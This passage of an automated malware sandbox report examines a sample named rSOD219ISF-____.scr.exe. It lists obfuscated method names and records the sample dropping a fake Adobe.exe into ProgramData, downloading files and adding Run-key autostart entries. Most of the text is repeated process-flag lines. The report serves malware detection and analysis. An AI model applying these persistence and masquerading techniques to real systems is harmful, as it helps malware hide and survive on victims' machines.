                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, fPuhdCtpqqmQf2sHCi.csHigh entropy of concatenated method names: 'T9a1Ml5pIf', 'HA51fXIRnk', 'j4s1RsBB2u', 'lbA1P0BmVa', 'wkO1I5cjeH', 'scv1TFPUgQ', 'yqt1H57mkn', 'sD61OE1PPa', 'DHm1uX2pM8', 'zQX19jd2Yh'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, Gex7mNLDEfDDYsUkUT.csHigh entropy of concatenated method names: 'yyA37UPh6j', 'KhB3scZnRm', 'ixx3wqC9yC', 't4G3U65WZh', 'PDf3CpsSUm', 'm1H3nYHVNs', 'fgj3SFd0OH', 'Snm3BOH62U', 'KjK3mkAxCW', 'Qtr3NY5Fby'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, oDuKYOGkBsXLOWcVE0.csHigh entropy of concatenated method names: 'AJvcKQFO2lpUDmwP6oc', 'kfDr3IFhA1BgZSEOupm', 'W97I193Lic', 'YuII5h233w', 'p5MI83srLG', 'qbEocBFolhoRTrajpqD', 'zCmOqZFXH16090OHMNo'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, V8H4QPVOYC71CL5RRn.csHigh entropy of concatenated method names: 'PwK4gguBB0', 'CZR4KdjfG4', 'ISD1hQxoEE', 'AWy1e3doRN', 'e8f46CknVm', 'vC14sMjqF1', 'Xts4EvdEGu', 'acJ4wcTyiO', 'GlJ4UfCmMJ', 'lMd4bV7gFs'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, K3fGHca5oQqjcXWxgSE.csHigh entropy of concatenated method names: 'mxy5X7QPfs', 'd3y5Gj3JE7', 'ceg5A9pfj0', 'Gd45Qtypu9', 'aFj5rAusdP', 'UOH5ka8PE5', 'f485yvyI1b', 'W7f5F43W01', 'FO75o7wx1Z', 'vT25pWE8cw'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, XFIssgkyXcVofJg00e.csHigh entropy of concatenated method names: 'zxfIDWBbQM', 'lLOIfj7Gcc', 'pZTIPhsyEp', 'potITpCPjQ', 'tHkIHn9E8C', 'fYZPdGoMGC', 'kifPLTXXcQ', 'POUPt3a2I8', 'jXFPg0qFbb', 'qQvPJBuDjb'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, cvVL404Sdtk3qjoJ6U.csHigh entropy of concatenated method names: 'Dispose', 'fmHeJWR2my', 'OrBxC3G1gP', 'DbwccBL0CO', 'mcveKs1Q3L', 'yEbezZhajy', 'ProcessDialogKey', 'QOCxhEFHXY', 'sgvxeN9Cw2', 'TQAxxt5c6G'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, kVA9iEcQxxcd5xUhYd.csHigh entropy of concatenated method names: 'e8j4u8F6k1', 'fyn49LW4IW', 'ToString', 'RKT4Mvu858', 'XiE4fXGNU5', 'mQB4RXHfFQ', 'KF44PrH2tj', 'IEb4IwbCP4', 'FVh4TqvAif', 'AhF4HQK9FE'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, d8G6GRaaoChup947BTr.csHigh entropy of concatenated method names: 'ToString', 'Nfc802BQC5', 'RFI8j5hGh1', 'cBD8DgFjuf', 'cLl8MD4CWb', 'V4B8fnaXPq', 'm5N8RVkbd6', 'wLS8PBghO4', 'OJUItUrW5hx4AY74xHc', 'rMoNa1rjiWympLtEhCs'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, VuriiyzBu8w4rGrnZ9.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'LNk5WmNwLy', 'BTH53tfAro', 'DoV5q1SlXY', 'gwQ54oejqa', 'zQQ51PMW2f', 'Nf055asfpV', 'e7158HhXqo'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, zxOd2JMxwjTOGkv25m.csHigh entropy of concatenated method names: 'Rvd12EBrN2', 'U0P1CTxBqa', 'OLt1nLYkm3', 'amk1SbnYyw', 'YoQ1wnXke6', 'YXl1BBnfn9', 'Next', 'Next', 'Next', 'NextBytes'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, tH4bULuoCGXrYWlQsk.csHigh entropy of concatenated method names: 'D4MTMEVFDh', 'ECtTRAbb4T', 'HCITIp2KF7', 'aIaIKgY29K', 'JxNIzVIkYZ', 'FylThPnrXS', 'kV1TedLKAk', 'uNkTxh77Qj', 'yCcT0LVQee', 'NrgTjdlud6'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, V6lLTXDoH1543aLswB.csHigh entropy of concatenated method names: 'gSyTXt1J4x', 'Tn4TGhHxtd', 'SiWTAoEETh', 'EZjTQwuCJ2', 'lsjTrZERt5', 'FeaTkigTEf', 'zK1Tyyk1ZS', 'M53TFHP0EE', 'ynBToSMVbT', 'mAHTpDV5XX'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, THVnBtaOLQ4lNrcvJeh.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Jjl8w9FGhi', 'W1W8UIN4S4', 'S2H8b1clyK', 'ikH8VhX8m8', 'Txe8dU3vSw', 'gvP8L7wUrQ', 'NY58t0hfFh'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, h8A6mUNkIXwwJSoV9b.csHigh entropy of concatenated method names: 'OsuPror0qQ', 'zo2PyVa241', 'L7gRnGRfGH', 'zxLRSIU62b', 'tU9RBPbAEh', 'c2nRmkXPI0', 'I5mRNDLE7c', 'K3ERvIOCCD', 'rebRZLRFjV', 'FJ5R7Z4ivm'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, uThHoRE84EF1gITyGd.csHigh entropy of concatenated method names: 'aWo0D8Pebo', 'meK0MjC1sq', 'hs60fjtOjm', 'fa80R0BWCh', 'EIY0Pw7C4Y', 'yJZ0I6MrRA', 'yx70T7uewx', 'iLB0HiaMcR', 'YPh0Owk7Kq', 'IpF0uMnBAA'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, b7lVpn1tLur0thox8f.csHigh entropy of concatenated method names: 'AW65e1UDB4', 'sDm50ImTyT', 'C6y5jV2aAf', 'LUS5M71UVs', 'g5Y5fObeNE', 'E0W5Pmhb1y', 'Ewp5I02HBC', 'DwF1tiT1LZ', 'lXg1g3jJAi', 'o5E1JaFRkd'

                Persistence and Installation Behavior

                barindex
                Drops executable to a common third party application directory
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeFile written: C:\ProgramData\Adobe\Adobe.exeJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00406EB0 ShellExecuteW,URLDownloadToFileW,2_2_00406EB0
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeFile created: C:\ProgramData\Adobe\Adobe.exeJump to dropped file
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeFile created: C:\ProgramData\Adobe\Adobe.exeJump to dropped file

                Boot Survival

                barindex
                Creates autostart registry keys with suspicious names
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Adobe-OTOIRKJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,2_2_0041AA4A
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Adobe-OTOIRKJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Adobe-OTOIRKJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Adobe-OTOIRKJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Adobe-OTOIRKJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,2_2_0041CB50
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
